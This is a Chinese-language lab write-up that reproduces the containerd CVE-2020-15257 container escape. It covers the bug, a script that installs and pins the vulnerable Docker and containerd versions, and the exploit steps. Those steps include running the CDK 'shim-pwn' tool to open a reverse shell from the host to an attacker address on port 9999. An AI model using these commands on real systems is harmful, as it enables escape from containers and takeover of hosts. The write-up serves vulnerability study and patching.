Containerd 漏洞导致容器逃逸 CVE-2020-15257

漏洞描述

Containerd 是一个控制 runC 的守护进程,提供命令行客户端和 API,用于在一个机器上管理容器。

在版本 1.3.9 之前和 1.4.0~1.4.2 的 Containerd 中,由于在网络模式为 host 的情况下,容器与宿主机共享一套 Network namespace ,此时 containerd-shim API 暴露给了用户,而且访问控制仅仅验证了连接进程的有效 UID 为 0,但没有限制对抽象 Unix 域套接字的访问,刚好在默认情况下,容器内部的进程是以 root 用户启动的。在两者的共同作用下,容器内部的进程就可以像主机中的 containerd 一样,连接 containerd-shim 监听的抽象 Unix 域套接字,调用 containerd-shim 提供的各种 API,从而实现容器逃逸。

参考链接:

漏洞影响

containerd < 1.4.3
containerd < 1.3.9

环境搭建

ubuntu 18.04 使用以下脚本 install_containerd_1.2.6.sh 安装 Docker 19.03.6 和 Containerd.io 1.2.6:

#!/bin/bash
set -e

echo "[*] Removing old Docker versions (if any)..."
sudo apt remove -y docker docker-engine docker.io containerd runc || true

echo "[*] Unholding previously held Docker packages (if any)..."
sudo apt-mark unhold docker-ce docker-ce-cli containerd.io || true

echo "[*] Removing incorrect Docker sources..."
sudo rm -f /etc/apt/sources.list.d/docker.list || true
sudo sed -i '/download.docker.com/d' /etc/apt/sources.list

echo "[*] Adding Tsinghua University Docker mirror GPG key..."
wget -qO - https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu/gpg | sudo apt-key add -

echo "[*] Adding Tsinghua University Docker mirror repository..."
echo "deb [arch=amd64] https://mirrors.tuna.tsinghua.edu.cn/docker-ce/linux/ubuntu bionic stable" \
  | sudo tee /etc/apt/sources.list.d/docker.list

echo "[*] Updating package index..."
sudo apt update

echo "[*] Searching for Docker 19.03.6..."
DOCKER_VERSION=$(apt-cache madison docker-ce | grep 19.03.6 | head -n1 | awk '{print $3}')
if [ -z "$DOCKER_VERSION" ]; then
  echo "[!] Docker 19.03.6 not found in repository."
  exit 1
fi
echo "[*] Found Docker version: $DOCKER_VERSION"

echo "[*] Searching for containerd.io 1.2.6..."
CONTAINERD_VERSION=$(apt-cache madison containerd.io | grep 1.2.6 | head -n1 | awk '{print $3}')
if [ -z "$CONTAINERD_VERSION" ]; then
  echo "[!] containerd.io 1.2.6 not found in repository."
  exit 1
fi
echo "[*] Found containerd.io version: $CONTAINERD_VERSION"

echo "[*] Installing Docker version $DOCKER_VERSION and containerd.io $CONTAINERD_VERSION ..."
sudo apt install -y docker-ce=$DOCKER_VERSION docker-ce-cli=$DOCKER_VERSION
sudo apt install -y --allow-downgrades containerd.io=$CONTAINERD_VERSION

echo "[*] Locking versions to prevent automatic updates..."
sudo apt-mark hold docker-ce docker-ce-cli containerd.io

echo "[*] Installation complete, current versions:"
docker --version
containerd --version

漏洞复现

使用以下命令启动容器:

sudo docker run -it --net=host --name=15257 ubuntu /bin/bash

在容器内执行命令,查看是否可看到抽象命名空间 Unix 域套接字:

root@ubuntu:/# cat /proc/net/unix|grep -a "containerd-shim"

然后下载漏洞利用工具 CDK,并将其传入容器 /tmp 目录下:

sudo docker cp cdk_v0.1.6 15257:/tmp

攻击端监听 9999 端口。在容器内运行工具,执行反弹 shell 命令,验证得到一个宿主机的 shell:

sudo docker exec -it 15257 bash
-----
root@ubuntu:/# cd /tmp
root@ubuntu:/tmp# ./cdk_v0.1.6 run shim-pwn 192.168.145.23 9999
2025/05/26 07:27:19 tring to spawn shell to 192.168.145.23:9999
2025/05/26 07:27:19 try socket: @/containerd-shim/moby/662ca282f95fb460dee996c9456dc333c16a556cc3a10f2417f5f6cb87610751/shim.sock

成功接收反弹 shell:

注意,此处最好使用 cdk v0.1.6,如果使用最新版,将触发异常 connection refused,可参考 issues/114

漏洞修复

升级 containerd 至最新版本。